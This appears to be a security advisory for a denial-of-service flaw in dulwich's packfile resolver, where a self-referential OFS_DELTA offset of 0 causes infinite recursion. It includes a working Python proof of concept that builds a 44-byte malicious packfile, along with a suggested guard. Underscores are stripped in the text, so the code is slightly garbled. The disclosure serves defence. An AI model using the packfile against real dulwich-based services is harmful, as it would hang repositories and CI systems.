PT-2026-111182
Published
2026-10-02
·
Updated
2026-10-02
Description by
CVSS 3.1
6.5
MediumMetricsAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Affected file
dulwich/pack.py(Method:Pack.resolve object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the
Pack.resolve object method. When resolving an OFS DELTA object, the resolver calculates the base offset using base offset = obj offset - delta offset.If a malicious packfile contains an
OFS DELTA object where delta offset is 0, the calculation obj offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.Vulnerable Code Breakdown (
dulwich/pack.py):python
elif obj type == OFS DELTA:
delta offset = parse pack object offset at(...)
base offset = obj offset - delta offset # VULNERABILITY: Self-reference if delta offset == 0
base type, base data = self.resolve object(...) # VULNERABILITY: Infinite recursionPotential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g.,
dulwich clone, fetch, cat-file, or internal Pack. getitem lookups).- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
python
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS DELTA entry whose delta offset is 0
type ofs delta = 6
header = bytes([(type ofs delta << 4) | 0])
ofs bytes = bytes([0x00]) # delta offset = 0
body = zlib.compress(b'')
raw = header + ofs bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]Possible solution
- Explicit Guard: Add a check in
Pack.resolve objectto rejectdelta offset == 0:
python
if delta offset == 0:
raise CorruptPacksFile("OFS DELTA has self-referential delta offset=0")- Recursion Depth: Implement a depth limit (e.g.,
MAX DELTA DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Found an issue in the description? Have something to add? Feel free to write us 👾